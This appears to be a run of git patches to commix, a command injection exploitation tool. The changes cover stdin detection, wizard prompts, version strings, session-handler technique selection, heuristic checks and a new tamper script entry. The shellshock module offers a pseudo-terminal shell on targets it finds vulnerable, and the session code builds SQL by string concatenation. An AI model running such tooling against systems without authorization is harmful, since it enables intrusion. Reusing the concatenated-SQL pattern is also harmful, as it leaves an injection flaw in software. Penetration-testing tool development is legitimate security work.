diff --git a/src/core/modules/shellshock/shellshock.py b/src/core/modules/shellshock/shellshock.py
index 0828381bbd..e91c29b87a 100755
--- a/src/core/modules/shellshock/shellshock.py
+++ b/src/core/modules/shellshock/shellshock.py
@@ -33,7 +33,7 @@
[2] CVE-2014-6278: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-6278
"""
-if settings.MULTI_TARGETS or not settings.IS_TTY:
+if settings.MULTI_TARGETS or settings.STDIN_PARSING:
if settings.USER_AGENT_INJECTION:
settings.USER_AGENT_INJECTION = None
if settings.REFERER_INJECTION:
@@ -420,7 +420,7 @@ def shellshock_handler(url, http_request_method, filename):
if go_back == True:
break
message = settings.CHECKING_PARAMETER + " is vulnerable. Do you want to prompt for a pseudo-terminal shell? [Y/n] > "
- if settings.IS_TTY:
+ if not settings.STDIN_PARSING:
gotshell = common.read_input(message, default="Y", check_batch=True)
else:
gotshell = common.read_input(message, default="n", check_batch=True)
@@ -486,7 +486,7 @@ def shellshock_handler(url, http_request_method, filename):
raise
except EOFError:
- if not settings.IS_TTY:
+ if settings.STDIN_PARSING:
print(settings.SINGLE_WHITESPACE)
err_msg = "Exiting, due to EOFError."
print(settings.print_error_msg(err_msg))
diff --git a/src/utils/settings.py b/src/utils/settings.py
index 33292f7526..891ab1f458 100755
--- a/src/utils/settings.py
+++ b/src/utils/settings.py
@@ -241,7 +241,7 @@ def sys_argv_errors():
DESCRIPTION = "The command injection exploiter"
AUTHOR = "Anastasios Stasinopoulos"
VERSION_NUM = "3.6"
-REVISION = "11"
+REVISION = "12"
STABLE_RELEASE = False
if STABLE_RELEASE:
VERSION = "v" + VERSION_NUM + "-stable"
@@ -409,7 +409,10 @@ def sys_argv_errors():
# Max Length for command execution output.
MAXLEN = 10000
-IS_TTY = True
+STDIN_PARSING = False
+if not sys.stdin.isatty():
+ STDIN_PARSING = True
+
# Maximum response total page size (trimmed if larger)
MAX_CONNECTION_TOTAL_SIZE = 100 * 1024 * 1024
From 25af7c6f55531ff560e870620463b71cb53774b7 Mon Sep 17 00:00:00 2001
From: stasinopoulos
Date: Sun, 16 Oct 2022 10:11:44 +0300
Subject: [PATCH 193/560] Minor improvement regarding `--wizard` option.
---
doc/CHANGELOG.md | 1 +
src/core/main.py | 28 +++++++++++++++++++++-------
src/utils/settings.py | 2 +-
3 files changed, 23 insertions(+), 8 deletions(-)
diff --git a/doc/CHANGELOG.md b/doc/CHANGELOG.md
index 8eea9871af..d13a211a1d 100755
--- a/doc/CHANGELOG.md
+++ b/doc/CHANGELOG.md
@@ -1,4 +1,5 @@
## Version 3.6 (TBA)
+* Revised: Minor improvement regarding `--wizard` option.
* Added: New tamper script "printf2echo.py" that replaces the printf-based ASCII to Decimal `printf "%d" "'$char'"` with `echo -n $char | od -An -tuC | xargs`.
* Revised: Minor improvement regarding parsing HTTP requests through HTTP proxy (i.e `--proxy` option).
* Revised: Minor improvement regarding handling HTTP Error 401 (Unauthorized).
diff --git a/src/core/main.py b/src/core/main.py
index 2bf768d34e..e0fc610dc1 100644
--- a/src/core/main.py
+++ b/src/core/main.py
@@ -692,19 +692,33 @@ def main(filename, url):
print(settings.print_critical_msg(err_msg))
raise SystemExit()
- if menu.options.wizard and not settings.STDIN_PARSING:
- if not menu.options.url:
+ # Check if defined "--wizard" option.
+ if menu.options.wizard:
+ if not menu.options.url and not settings.STDIN_PARSING:
while True:
- message = "Please enter full target URL (-u) > "
+ message = "Enter full target URL (-u) > "
menu.options.url = common.read_input(message, default=None, check_batch=True)
if menu.options.url is None or len(menu.options.url) == 0:
pass
else:
break
- message = "Please enter POST data (--data) [Enter for none] > "
- menu.options.data = common.read_input(message, default=None, check_batch=True)
- if menu.options.data is not None and len(menu.options.data) == 0:
- menu.options.data = False
+ message = "Enter POST data (--data) [Enter for none] > "
+ if settings.STDIN_PARSING or menu.options.data:
+ print(settings.print_message(message + menu.options.data))
+ else:
+ menu.options.data = common.read_input(message, default=None, check_batch=True)
+ if menu.options.data is not None and len(menu.options.data) == 0:
+ menu.options.data = False
+ while True:
+ message = "Enter injection level (--level) [1-3, Default: 1] > "
+ if settings.STDIN_PARSING or menu.options.level > settings.DEFAULT_INJECTION_LEVEL:
+ print(settings.print_message(message + str(menu.options.level)))
+ break
+ menu.options.level = int(common.read_input(message, default=settings.DEFAULT_INJECTION_LEVEL, check_batch=True))
+ if menu.options.level > settings.HTTP_HEADER_INJECTION_LEVEL:
+ pass
+ else:
+ break
# Seconds to delay between each HTTP request.
if menu.options.delay > 0:
diff --git a/src/utils/settings.py b/src/utils/settings.py
index 891ab1f458..5bf3984442 100755
--- a/src/utils/settings.py
+++ b/src/utils/settings.py
@@ -241,7 +241,7 @@ def sys_argv_errors():
DESCRIPTION = "The command injection exploiter"
AUTHOR = "Anastasios Stasinopoulos"
VERSION_NUM = "3.6"
-REVISION = "12"
+REVISION = "13"
STABLE_RELEASE = False
if STABLE_RELEASE:
VERSION = "v" + VERSION_NUM + "-stable"
From f114feb0c9ae84930dec27003d6a8c64f11afcae Mon Sep 17 00:00:00 2001
From: stasinopoulos
Date: Mon, 17 Oct 2022 09:27:17 +0300
Subject: [PATCH 194/560] Minor update
---
src/utils/menu.py | 2 +-
src/utils/settings.py | 10 +++++++---
2 files changed, 8 insertions(+), 4 deletions(-)
diff --git a/src/utils/menu.py b/src/utils/menu.py
index e9a7cfe0e8..72f39ec060 100755
--- a/src/utils/menu.py
+++ b/src/utils/menu.py
@@ -32,7 +32,7 @@
def banner():
print(""" __
___ ___ ___ ___ ___ ___ /\_\ __ _
- /`___\ / __`\ /' __` __`\ /' __` __`\/\ \ /\ \/'\ """ + Style.BRIGHT + Style.UNDERLINE + settings.VERSION + Style.RESET_ALL + """
+ /`___\ / __`\ /' __` __`\ /' __` __`\/\ \ /\ \/'\ """ + settings.COLOR_VERSION + """
/\ \__//\ \/\ \/\ \/\ \/\ \/\ \/\ \/\ \ \ \\\/>
\ \____\ \____/\ \_\ \_\ \_\ \_\ \_\ \_\ \_\\/\_/\\_\\ """ + Fore.GREY + Style.UNDERLINE + settings.APPLICATION_URL + Style.RESET_ALL + """
\/____/\/___/ \/_/\/_/\/_/\/_/\/_/\/_/\/_/\//\/_/ (""" + Fore.LIGHTRED_EX + settings.APPLICATION_TWITTER + Style.RESET_ALL + """)
diff --git a/src/utils/settings.py b/src/utils/settings.py
index 5bf3984442..724890b731 100755
--- a/src/utils/settings.py
+++ b/src/utils/settings.py
@@ -241,12 +241,16 @@ def sys_argv_errors():
DESCRIPTION = "The command injection exploiter"
AUTHOR = "Anastasios Stasinopoulos"
VERSION_NUM = "3.6"
-REVISION = "13"
+REVISION = "14"
STABLE_RELEASE = False
+VERSION = "v"
if STABLE_RELEASE:
- VERSION = "v" + VERSION_NUM + "-stable"
+ VERSION = VERSION + VERSION_NUM + "-stable"
+ COLOR_VERSION = Style.BRIGHT + Style.UNDERLINE + Fore.WHITE + VERSION + Style.RESET_ALL
else:
- VERSION = "v" + VERSION_NUM + "-dev#" + REVISION
+ VERSION = VERSION + VERSION_NUM + "-dev#" + REVISION + Style.RESET_ALL
+ COLOR_VERSION = Style.UNDERLINE + Fore.WHITE + VERSION + Style.RESET_ALL
+
YEAR = "2014-2022"
AUTHOR_TWITTER = "@ancst"
APPLICATION_URL = "https://commixproject.com"
From 29e69db8087dd726b3b8950f7583277860af4cc8 Mon Sep 17 00:00:00 2001
From: stasinopoulos
Date: Tue, 18 Oct 2022 23:00:41 +0300
Subject: [PATCH 195/560] Minor update regarding
https://github.com/commixproject/commix/commit/73c16e0a1e7c556af0ac1300412f000ba3e0a393
---
src/utils/settings.py | 3 ++-
1 file changed, 2 insertions(+), 1 deletion(-)
diff --git a/src/utils/settings.py b/src/utils/settings.py
index 724890b731..f0ecf56206 100755
--- a/src/utils/settings.py
+++ b/src/utils/settings.py
@@ -241,7 +241,7 @@ def sys_argv_errors():
DESCRIPTION = "The command injection exploiter"
AUTHOR = "Anastasios Stasinopoulos"
VERSION_NUM = "3.6"
-REVISION = "14"
+REVISION = "15"
STABLE_RELEASE = False
VERSION = "v"
if STABLE_RELEASE:
@@ -1034,6 +1034,7 @@ def sys_argv_errors():
"nested",
"singlequotes",
"slash2env",
+ "printf2echo",
"uninitializedvariable"
]
From c9e3a6af7c6d3eca3aa06fa973a94914db58eb85 Mon Sep 17 00:00:00 2001
From: stasinopoulos
Date: Thu, 20 Oct 2022 09:37:12 +0300
Subject: [PATCH 196/560] Minor update (verbose mode)
---
src/core/requests/headers.py | 4 +---
src/utils/settings.py | 2 +-
2 files changed, 2 insertions(+), 4 deletions(-)
diff --git a/src/core/requests/headers.py b/src/core/requests/headers.py
index 4843c25d74..5971abdd5d 100755
--- a/src/core/requests/headers.py
+++ b/src/core/requests/headers.py
@@ -66,8 +66,6 @@ def http_response(headers, code):
logs.log_traffic("\n" + header)
if menu.options.traffic_file:
logs.log_traffic("\n\n")
- if settings.VERBOSITY_LEVEL == 3:
- print(settings.SINGLE_WHITESPACE)
"""
Print HTTP response headers / Body.
@@ -106,7 +104,7 @@ def send(self, req):
request_http_headers = str(headers).split("\r\n")
unique_request_http_headers = []
[unique_request_http_headers.append(item) for item in request_http_headers if item not in unique_request_http_headers]
- request_http_headers = unique_request_http_headers
+ request_http_headers = [x for x in unique_request_http_headers if x]
for header in request_http_headers:
if settings.VERBOSITY_LEVEL >= 2:
print(settings.print_traffic(header))
diff --git a/src/utils/settings.py b/src/utils/settings.py
index f0ecf56206..e4cf715332 100755
--- a/src/utils/settings.py
+++ b/src/utils/settings.py
@@ -241,7 +241,7 @@ def sys_argv_errors():
DESCRIPTION = "The command injection exploiter"
AUTHOR = "Anastasios Stasinopoulos"
VERSION_NUM = "3.6"
-REVISION = "15"
+REVISION = "16"
STABLE_RELEASE = False
VERSION = "v"
if STABLE_RELEASE:
From 3d7bb83918d5e25a2daa3dd9238e73c498c2076d Mon Sep 17 00:00:00 2001
From: stasinopoulos
Date: Fri, 21 Oct 2022 08:51:40 +0300
Subject: [PATCH 197/560] Fixes
https://github.com/commixproject/commix/issues/786
---
src/core/injections/blind/techniques/time_based/tb_handler.py | 2 +-
src/utils/settings.py | 2 +-
2 files changed, 2 insertions(+), 2 deletions(-)
diff --git a/src/core/injections/blind/techniques/time_based/tb_handler.py b/src/core/injections/blind/techniques/time_based/tb_handler.py
index 89b1946538..9b8d9173c8 100755
--- a/src/core/injections/blind/techniques/time_based/tb_handler.py
+++ b/src/core/injections/blind/techniques/time_based/tb_handler.py
@@ -556,7 +556,7 @@ def exploitation(url, timesec, filename, http_request_method, url_time_response,
if proceed_option.lower() in settings.CHOICE_PROCEED :
if proceed_option.lower() == "s":
from src.core.injections.semiblind.techniques.file_based import fb_handler
- fb_handler.exploitation(url, timesec, filename, http_request_method, url_time_response)
+ fb_handler.exploitation(url, timesec, filename, http_request_method, url_time_response, injection_type, technique)
elif proceed_option.lower() == "c":
if tb_injection_handler(url, timesec, filename, http_request_method, url_time_response, injection_type, technique) == False:
return False
diff --git a/src/utils/settings.py b/src/utils/settings.py
index e4cf715332..4c19bc06c3 100755
--- a/src/utils/settings.py
+++ b/src/utils/settings.py
@@ -241,7 +241,7 @@ def sys_argv_errors():
DESCRIPTION = "The command injection exploiter"
AUTHOR = "Anastasios Stasinopoulos"
VERSION_NUM = "3.6"
-REVISION = "16"
+REVISION = "17"
STABLE_RELEASE = False
VERSION = "v"
if STABLE_RELEASE:
From 41526d2703aa1dcd9318de2a8855be8cebe839d3 Mon Sep 17 00:00:00 2001
From: stasinopoulos
Date: Sun, 23 Oct 2022 12:21:35 +0300
Subject: [PATCH 198/560] Minor update
---
src/utils/settings.py | 4 ++--
1 file changed, 2 insertions(+), 2 deletions(-)
diff --git a/src/utils/settings.py b/src/utils/settings.py
index 4c19bc06c3..86e4e75972 100755
--- a/src/utils/settings.py
+++ b/src/utils/settings.py
@@ -241,14 +241,14 @@ def sys_argv_errors():
DESCRIPTION = "The command injection exploiter"
AUTHOR = "Anastasios Stasinopoulos"
VERSION_NUM = "3.6"
-REVISION = "17"
+REVISION = "18"
STABLE_RELEASE = False
VERSION = "v"
if STABLE_RELEASE:
VERSION = VERSION + VERSION_NUM + "-stable"
COLOR_VERSION = Style.BRIGHT + Style.UNDERLINE + Fore.WHITE + VERSION + Style.RESET_ALL
else:
- VERSION = VERSION + VERSION_NUM + "-dev#" + REVISION + Style.RESET_ALL
+ VERSION = VERSION + VERSION_NUM + "-dev#" + REVISION
COLOR_VERSION = Style.UNDERLINE + Fore.WHITE + VERSION + Style.RESET_ALL
YEAR = "2014-2022"
From d585a85159144801a7dabc2c2219ff9a342acab5 Mon Sep 17 00:00:00 2001
From: stasinopoulos
Date: Mon, 24 Oct 2022 09:10:56 +0300
Subject: [PATCH 199/560] Minor update
---
src/core/injections/controller/controller.py | 54 ++++++++++----------
src/utils/settings.py | 2 +-
2 files changed, 28 insertions(+), 28 deletions(-)
diff --git a/src/core/injections/controller/controller.py b/src/core/injections/controller/controller.py
index 32ae47355f..070f512b3d 100644
--- a/src/core/injections/controller/controller.py
+++ b/src/core/injections/controller/controller.py
@@ -363,35 +363,35 @@ def injection_proccess(url, check_parameter, http_request_method, filename, time
else:
if not settings.LOAD_SESSION:
checks.recognise_payload(payload=settings.TESTABLE_VALUE)
- if settings.VERBOSITY_LEVEL != 0:
- debug_msg = "Performing heuristic (basic) tests to the target URL."
- print(settings.print_debug_msg(debug_msg))
- url = command_injection_heuristic_basic(url, http_request_method, check_parameter, the_type, header_name, inject_http_headers)
+ if settings.VERBOSITY_LEVEL != 0:
+ debug_msg = "Performing heuristic (basic) tests to the target URL."
+ print(settings.print_debug_msg(debug_msg))
+ url = command_injection_heuristic_basic(url, http_request_method, check_parameter, the_type, header_name, inject_http_headers)
- if (len(menu.options.tech) == 0 or "e" in menu.options.tech) and not settings.IDENTIFIED_COMMAND_INJECTION:
- # Check for identified warnings
- url = code_injections_heuristic_basic(url, http_request_method, check_parameter, the_type, header_name, inject_http_headers)
- if settings.IDENTIFIED_WARNINGS or settings.IDENTIFIED_PHPINFO:
- while True:
- message = "Skipping of further command injection tests is recommended. "
- message += "Do you agree? [Y/n] > "
- procced_option = common.read_input(message, default="Y", check_batch=True)
- if procced_option in settings.CHOICE_YES:
- settings.CLASSIC_STATE = settings.TIME_BASED_STATE = settings.FILE_BASED_STATE = False
- settings.EVAL_BASED_STATE = settings.SKIP_COMMAND_INJECTIONS = True
- break
- elif procced_option in settings.CHOICE_NO:
- break
- elif procced_option in settings.CHOICE_QUIT:
- raise SystemExit()
- else:
- common.invalid_option(procced_option)
- pass
+ if (len(menu.options.tech) == 0 or "e" in menu.options.tech) and not settings.IDENTIFIED_COMMAND_INJECTION:
+ # Check for identified warnings
+ url = code_injections_heuristic_basic(url, http_request_method, check_parameter, the_type, header_name, inject_http_headers)
+ if settings.IDENTIFIED_WARNINGS or settings.IDENTIFIED_PHPINFO:
+ while True:
+ message = "Skipping of further command injection tests is recommended. "
+ message += "Do you agree? [Y/n] > "
+ procced_option = common.read_input(message, default="Y", check_batch=True)
+ if procced_option in settings.CHOICE_YES:
+ settings.CLASSIC_STATE = settings.TIME_BASED_STATE = settings.FILE_BASED_STATE = False
+ settings.EVAL_BASED_STATE = settings.SKIP_COMMAND_INJECTIONS = True
+ break
+ elif procced_option in settings.CHOICE_NO:
+ break
+ elif procced_option in settings.CHOICE_QUIT:
+ raise SystemExit()
+ else:
+ common.invalid_option(procced_option)
+ pass
- if not settings.IDENTIFIED_COMMAND_INJECTION and not settings.IDENTIFIED_WARNINGS and not settings.IDENTIFIED_PHPINFO:
- warn_msg = "Heuristic (basic) tests shows that "
- warn_msg += settings.CHECKING_PARAMETER + " might not be injectable."
- print(settings.print_bold_warning_msg(warn_msg))
+ if not settings.IDENTIFIED_COMMAND_INJECTION and not settings.IDENTIFIED_WARNINGS and not settings.IDENTIFIED_PHPINFO:
+ warn_msg = "Heuristic (basic) tests shows that "
+ warn_msg += settings.CHECKING_PARAMETER + " might not be injectable."
+ print(settings.print_bold_warning_msg(warn_msg))
if menu.options.failed_tries and \
menu.options.tech and not "f" in menu.options.tech and not \
diff --git a/src/utils/settings.py b/src/utils/settings.py
index 86e4e75972..2d3b8ee985 100755
--- a/src/utils/settings.py
+++ b/src/utils/settings.py
@@ -241,7 +241,7 @@ def sys_argv_errors():
DESCRIPTION = "The command injection exploiter"
AUTHOR = "Anastasios Stasinopoulos"
VERSION_NUM = "3.6"
-REVISION = "18"
+REVISION = "19"
STABLE_RELEASE = False
VERSION = "v"
if STABLE_RELEASE:
From 6b04e8913fe56d6b0994a1920b27146e1e33f61e Mon Sep 17 00:00:00 2001
From: stasinopoulos
Date: Tue, 25 Oct 2022 07:48:54 +0300
Subject: [PATCH 200/560] Minor fix
---
src/core/injections/blind/techniques/time_based/tb_handler.py | 2 +-
.../results_based/techniques/eval_based/eb_handler.py | 2 +-
.../injections/semiblind/techniques/file_based/fb_handler.py | 2 +-
src/utils/settings.py | 2 +-
4 files changed, 4 insertions(+), 4 deletions(-)
diff --git a/src/core/injections/blind/techniques/time_based/tb_handler.py b/src/core/injections/blind/techniques/time_based/tb_handler.py
index 9b8d9173c8..d46c641daf 100755
--- a/src/core/injections/blind/techniques/time_based/tb_handler.py
+++ b/src/core/injections/blind/techniques/time_based/tb_handler.py
@@ -99,7 +99,7 @@ def tb_injection_handler(url, timesec, filename, http_request_method, url_time_r
if settings.RETEST == True:
settings.RETEST = False
from src.core.injections.results_based.techniques.classic import cb_handler
- cb_handler.exploitation(url, timesec, filename, http_request_method)
+ cb_handler.exploitation(url, timesec, filename, http_request_method, injection_type, technique)
if not settings.LOAD_SESSION:
num_of_chars = num_of_chars + 1
diff --git a/src/core/injections/results_based/techniques/eval_based/eb_handler.py b/src/core/injections/results_based/techniques/eval_based/eb_handler.py
index b68e613d26..0d13640ab7 100755
--- a/src/core/injections/results_based/techniques/eval_based/eb_handler.py
+++ b/src/core/injections/results_based/techniques/eval_based/eb_handler.py
@@ -90,7 +90,7 @@ def eb_injection_handler(url, timesec, filename, http_request_method, injection_
if settings.RETEST == True:
settings.RETEST = False
from src.core.injections.results_based.techniques.classic import cb_handler
- cb_handler.exploitation(url, timesec, filename, http_request_method)
+ cb_handler.exploitation(url, timesec, filename, http_request_method, injection_type, technique)
if not settings.LOAD_SESSION:
i = i + 1
diff --git a/src/core/injections/semiblind/techniques/file_based/fb_handler.py b/src/core/injections/semiblind/techniques/file_based/fb_handler.py
index 693f011878..4b213359ee 100755
--- a/src/core/injections/semiblind/techniques/file_based/fb_handler.py
+++ b/src/core/injections/semiblind/techniques/file_based/fb_handler.py
@@ -244,7 +244,7 @@ def fb_injection_handler(url, timesec, filename, http_request_method, url_time_r
if settings.RETEST == True:
settings.RETEST = False
from src.core.injections.results_based.techniques.classic import cb_handler
- cb_handler.exploitation(url, timesec, filename, http_request_method)
+ cb_handler.exploitation(url, timesec, filename, http_request_method, injection_type, technique)
if not settings.LOAD_SESSION:
i = i + 1
diff --git a/src/utils/settings.py b/src/utils/settings.py
index 2d3b8ee985..07c61cd82b 100755
--- a/src/utils/settings.py
+++ b/src/utils/settings.py
@@ -241,7 +241,7 @@ def sys_argv_errors():
DESCRIPTION = "The command injection exploiter"
AUTHOR = "Anastasios Stasinopoulos"
VERSION_NUM = "3.6"
-REVISION = "19"
+REVISION = "20"
STABLE_RELEASE = False
VERSION = "v"
if STABLE_RELEASE:
From 16c4af4b1a65502c5c25ccfcf1e8cf4a04e74e0c Mon Sep 17 00:00:00 2001
From: stasinopoulos
Date: Wed, 26 Oct 2022 07:02:45 +0300
Subject: [PATCH 201/560] Minor improvement regarding session handler.
---
doc/CHANGELOG.md | 1 +
src/core/main.py | 12 ++++++++++++
src/utils/menu.py | 2 +-
src/utils/session_handler.py | 10 ++++++++++
src/utils/settings.py | 3 +--
5 files changed, 25 insertions(+), 3 deletions(-)
diff --git a/doc/CHANGELOG.md b/doc/CHANGELOG.md
index d13a211a1d..164007d512 100755
--- a/doc/CHANGELOG.md
+++ b/doc/CHANGELOG.md
@@ -1,4 +1,5 @@
## Version 3.6 (TBA)
+* Revised: Minor improvement regarding session handler.
* Revised: Minor improvement regarding `--wizard` option.
* Added: New tamper script "printf2echo.py" that replaces the printf-based ASCII to Decimal `printf "%d" "'$char'"` with `echo -n $char | od -An -tuC | xargs`.
* Revised: Minor improvement regarding parsing HTTP requests through HTTP proxy (i.e `--proxy` option).
diff --git a/src/core/main.py b/src/core/main.py
index e0fc610dc1..e643d100c4 100644
--- a/src/core/main.py
+++ b/src/core/main.py
@@ -401,6 +401,18 @@ def main(filename, url):
if menu.options.cdel:
settings.COOKIE_DELIMITER = menu.options.cdel
+ if not menu.options.ignore_session and not menu.options.flush_session:
+ if session_handler.applied_techniques(url, http_request_method):
+ if not menu.options.tech:
+ menu.options.tech = session_handler.applied_techniques(url, http_request_method)
+ else:
+ menu.options.tech = list(menu.options.tech)
+ _ = {settings.AVAILABLE_TECHNIQUES[i] : i for i in range(len(settings.AVAILABLE_TECHNIQUES))}
+ menu.options.tech.sort(key=lambda x:_[x])
+ menu.options.tech = ''.join(menu.options.tech)
+ else:
+ menu.options.tech = ''.join([str(x) for x in settings.AVAILABLE_TECHNIQUES])
+
# Check for skipping injection techniques.
if menu.options.skip_tech:
settings.SKIP_TECHNIQUES = True
diff --git a/src/utils/menu.py b/src/utils/menu.py
index 72f39ec060..4fab4f266a 100755
--- a/src/utils/menu.py
+++ b/src/utils/menu.py
@@ -441,7 +441,7 @@ def banner():
injection.add_option("--technique",
action="store",
- default="cetf",
+ default="",
dest="tech",
help="Specify injection technique(s) to use.")
diff --git a/src/utils/session_handler.py b/src/utils/session_handler.py
index c970cd8b33..07acfa74c6 100755
--- a/src/utils/session_handler.py
+++ b/src/utils/session_handler.py
@@ -137,6 +137,10 @@ def injection_point_importation(url, technique, injection_type, separator, shell
def applied_techniques(url, http_request_method):
try:
conn = sqlite3.connect(settings.SESSION_FILE)
+ if not menu.options.tech:
+ applied_techniques = conn.execute("SELECT technique FROM " + table_name(url) + "_ip "\
+ "ORDER BY id DESC;")
+
if settings.TESTABLE_PARAMETER:
applied_techniques = conn.execute("SELECT technique FROM " + table_name(url) + "_ip WHERE "\
"url = '" + url + "' AND "\
@@ -208,6 +212,11 @@ def injection_point_exportation(url, http_request_method):
result = conn.execute("SELECT * FROM sqlite_master WHERE name = '" + \
table_name(url) + "_ip' AND type = 'table';")
if result:
+ # if not settings.USER_SUPPLIED_TECHNIQUE:
+ # for session in result:
+ # check_injection_technique = menu.options.tech = session[0][:1]
+ # select_injection_type = session[1][:1].capitalize()
+ # else:
if menu.options.tech[:1] == "c":
select_injection_type = "R"
elif menu.options.tech[:1] == "e":
@@ -223,6 +232,7 @@ def injection_point_exportation(url, http_request_method):
check_injection_technique = "d"
else:
check_injection_technique = menu.options.tech[:1]
+
if settings.TESTABLE_PARAMETER:
cursor = conn.execute("SELECT * FROM " + table_name(url) + "_ip WHERE "\
"url = '" + url + "' AND "\
diff --git a/src/utils/settings.py b/src/utils/settings.py
index 07c61cd82b..f5350f9f52 100755
--- a/src/utils/settings.py
+++ b/src/utils/settings.py
@@ -241,7 +241,7 @@ def sys_argv_errors():
DESCRIPTION = "The command injection exploiter"
AUTHOR = "Anastasios Stasinopoulos"
VERSION_NUM = "3.6"
-REVISION = "20"
+REVISION = "21"
STABLE_RELEASE = False
VERSION = "v"
if STABLE_RELEASE:
@@ -594,7 +594,6 @@ def sys_argv_errors():
# Available injection techniques.
AVAILABLE_TECHNIQUES = [ "c", "e", "t", "f" ]
-
SKIP_TECHNIQUES = False
# User Agent List
From 7658e0116fbb524046048f6ec67c36fb65f8e597 Mon Sep 17 00:00:00 2001
From: stasinopoulos
Date: Thu, 27 Oct 2022 09:01:22 +0300
Subject: [PATCH 202/560] Improvements regarding dynamic code evaluation
heuristic check.
---
doc/CHANGELOG.md | 1 +
src/core/injections/controller/controller.py | 6 ++++--
src/utils/settings.py | 2 +-
3 files changed, 6 insertions(+), 3 deletions(-)
diff --git a/doc/CHANGELOG.md b/doc/CHANGELOG.md
index 164007d512..a36c15ea89 100755
--- a/doc/CHANGELOG.md
+++ b/doc/CHANGELOG.md
@@ -1,4 +1,5 @@
## Version 3.6 (TBA)
+* Revised: Improvements regarding dynamic code evaluation heuristic check.
* Revised: Minor improvement regarding session handler.
* Revised: Minor improvement regarding `--wizard` option.
* Added: New tamper script "printf2echo.py" that replaces the printf-based ASCII to Decimal `printf "%d" "'$char'"` with `echo -n $char | od -An -tuC | xargs`.
diff --git a/src/core/injections/controller/controller.py b/src/core/injections/controller/controller.py
index 070f512b3d..9b0358a7bd 100644
--- a/src/core/injections/controller/controller.py
+++ b/src/core/injections/controller/controller.py
@@ -366,9 +366,11 @@ def injection_proccess(url, check_parameter, http_request_method, filename, time
if settings.VERBOSITY_LEVEL != 0:
debug_msg = "Performing heuristic (basic) tests to the target URL."
print(settings.print_debug_msg(debug_msg))
- url = command_injection_heuristic_basic(url, http_request_method, check_parameter, the_type, header_name, inject_http_headers)
- if (len(menu.options.tech) == 0 or "e" in menu.options.tech) and not settings.IDENTIFIED_COMMAND_INJECTION:
+ if not (len(menu.options.tech) == 1 and "e" in menu.options.tech):
+ url = command_injection_heuristic_basic(url, http_request_method, check_parameter, the_type, header_name, inject_http_headers)
+
+ if not settings.IDENTIFIED_COMMAND_INJECTION and "e" in menu.options.tech:
# Check for identified warnings
url = code_injections_heuristic_basic(url, http_request_method, check_parameter, the_type, header_name, inject_http_headers)
if settings.IDENTIFIED_WARNINGS or settings.IDENTIFIED_PHPINFO:
diff --git a/src/utils/settings.py b/src/utils/settings.py
index f5350f9f52..7a68c86432 100755
--- a/src/utils/settings.py
+++ b/src/utils/settings.py
@@ -241,7 +241,7 @@ def sys_argv_errors():
DESCRIPTION = "The command injection exploiter"
AUTHOR = "Anastasios Stasinopoulos"
VERSION_NUM = "3.6"
-REVISION = "21"
+REVISION = "22"
STABLE_RELEASE = False
VERSION = "v"
if STABLE_RELEASE:
From 6f5a1f3a9ea06cc84353cd257bd29766c40a3f1a Mon Sep 17 00:00:00 2001
From: stasinopoulos
Date: Fri, 28 Oct 2022 10:19:54 +0300
Subject: [PATCH 203/560] Minor update
---
src/core/main.py | 7 +++++++
src/utils/settings.py | 22 +++++++++++++++-------
2 files changed, 22 insertions(+), 7 deletions(-)
diff --git a/src/core/main.py b/src/core/main.py
index e643d100c4..e9f8ea55f6 100644
--- a/src/core/main.py
+++ b/src/core/main.py
@@ -345,18 +345,25 @@ def main(filename, url):
settings.SUFFIXES = sorted(set(settings.SUFFIXES_LVL1), key=settings.SUFFIXES_LVL1.index)
settings.EVAL_PREFIXES = sorted(set(settings.EVAL_PREFIXES_LVL1), key=settings.EVAL_PREFIXES_LVL1.index)
settings.EVAL_SUFFIXES = sorted(set(settings.EVAL_SUFFIXES_LVL1), key=settings.EVAL_SUFFIXES_LVL1.index)
+ settings.EVAL_SEPARATORS = sorted(set(settings.EVAL_SEPARATORS_LVL1), key=settings.EVAL_SEPARATORS_LVL1.index)
+ settings.EXECUTION_FUNCTIONS = sorted(set(settings.EXECUTION_FUNCTIONS_LVL1), key=settings.EXECUTION_FUNCTIONS_LVL1.index)
elif menu.options.level == settings.COOKIE_INJECTION_LEVEL:
settings.SEPARATORS = sorted(set(settings.SEPARATORS_LVL2), key=settings.SEPARATORS_LVL2.index)
settings.PREFIXES = sorted(set(settings.PREFIXES_LVL2), key=settings.PREFIXES_LVL2.index)
settings.SUFFIXES = sorted(set(settings.SUFFIXES_LVL2), key=settings.SUFFIXES_LVL2.index)
settings.EVAL_PREFIXES = sorted(set(settings.EVAL_PREFIXES_LVL2), key=settings.EVAL_PREFIXES_LVL2.index)
settings.EVAL_SUFFIXES = sorted(set(settings.EVAL_SUFFIXES_LVL2), key=settings.EVAL_SUFFIXES_LVL2.index)
+ settings.EVAL_SEPARATORS = sorted(set(settings.EVAL_SEPARATORS_LVL2), key=settings.EVAL_SEPARATORS_LVL2.index)
+ settings.EXECUTION_FUNCTIONS = sorted(set(settings.EXECUTION_FUNCTIONS_LVL2), key=settings.EXECUTION_FUNCTIONS_LVL2.index)
elif menu.options.level == settings.HTTP_HEADER_INJECTION_LEVEL:
settings.SEPARATORS = sorted(set(settings.SEPARATORS_LVL3), key=settings.SEPARATORS_LVL3.index)
settings.PREFIXES = sorted(set(settings.PREFIXES_LVL3), key=settings.PREFIXES_LVL3.index)
settings.SUFFIXES = sorted(set(settings.SUFFIXES_LVL3), key=settings.SUFFIXES_LVL3.index)
settings.EVAL_PREFIXES = sorted(set(settings.EVAL_PREFIXES_LVL3), key=settings.EVAL_PREFIXES_LVL3.index)
settings.EVAL_SUFFIXES = sorted(set(settings.EVAL_SUFFIXES_LVL3), key=settings.EVAL_SUFFIXES_LVL3.index)
+ settings.EVAL_SEPARATORS = sorted(set(settings.EVAL_SEPARATORS_LVL3), key=settings.EVAL_SEPARATORS_LVL3.index)
+ settings.EXECUTION_FUNCTIONS = sorted(set(settings.EXECUTION_FUNCTIONS_LVL3), key=settings.EXECUTION_FUNCTIONS_LVL3.index)
+
else:
err_msg = "The value for option '--level' "
err_msg += "must be an integer value from range [1, 3]."
diff --git a/src/utils/settings.py b/src/utils/settings.py
index 7a68c86432..d52253cd51 100755
--- a/src/utils/settings.py
+++ b/src/utils/settings.py
@@ -241,7 +241,7 @@ def sys_argv_errors():
DESCRIPTION = "The command injection exploiter"
AUTHOR = "Anastasios Stasinopoulos"
VERSION_NUM = "3.6"
-REVISION = "22"
+REVISION = "23"
STABLE_RELEASE = False
VERSION = "v"
if STABLE_RELEASE:
@@ -454,20 +454,28 @@ def sys_argv_errors():
